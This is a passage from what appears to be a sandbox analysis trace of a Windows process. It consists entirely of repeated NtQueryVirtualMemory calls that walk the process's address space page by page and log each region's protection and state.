AllocationProtect=0x0, RegionSize=0xa000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x27000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x27000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x28000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x28000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x29000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x29000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x2a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x2b000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x5000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x2c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x2d000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x3000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x2e000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x2f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x2f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x30000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x30000, AllocationBase=0x30000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x31000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x31000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.985] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x32000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x32000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x33000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x33000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xd000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x34000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x34000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x35000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x35000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x36000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x36000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xa000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x37000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x37000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x38000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x38000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x39000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x39000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x3a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x3b000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x5000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x3c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x3d000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x3000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x3e000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x3f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x3f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x40000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x40000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x18000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x41000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x41000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x17000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x42000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x42000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x16000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x43000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x43000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x15000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x44000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x44000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x14000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x45000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x45000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x13000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x46000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x46000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x12000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x47000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x47000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x11000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x48000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x48000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x10000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x49000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x49000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0xf000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.986] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x4a000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0xe000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x4b000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0xd000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x4c000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0xc000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x4d000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0xb000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x4e000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0xa000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x4f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x4f000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x9000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x50000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x50000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x8000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x51000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x51000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x7000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x52000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x52000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x6000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x53000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x53000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x5000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x54000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x54000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x55000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x55000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x56000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x56000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x57000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x57000, AllocationBase=0x40000, AllocationProtect=0x2, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x58000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x58000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x8000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x59000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x59000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x5a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x5b000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x5000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x5c000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x4000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x5d000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x3000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.987] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x5e000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x2000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x5f000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x5f000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x1000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x60000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x60000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x35000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x61000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x61000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x34000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x62000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x62000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x33000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x63000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x63000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x32000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x64000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x64000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x31000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x65000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x65000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x30000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x66000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x66000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2f000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x67000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x67000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2e000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x68000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x68000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2d000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x69000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x69000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2c000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x6a000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2b000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x6b000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x2a000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6c000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x6c000, AllocationBase=0x60000, AllocationProtect=0x4, RegionSize=0x29000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0210.988] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x6d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x19fcbc, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x19fcbc*(BaseAddress=0x6d000, AllocationBase=0x60000, AllocationProtect=0x4, 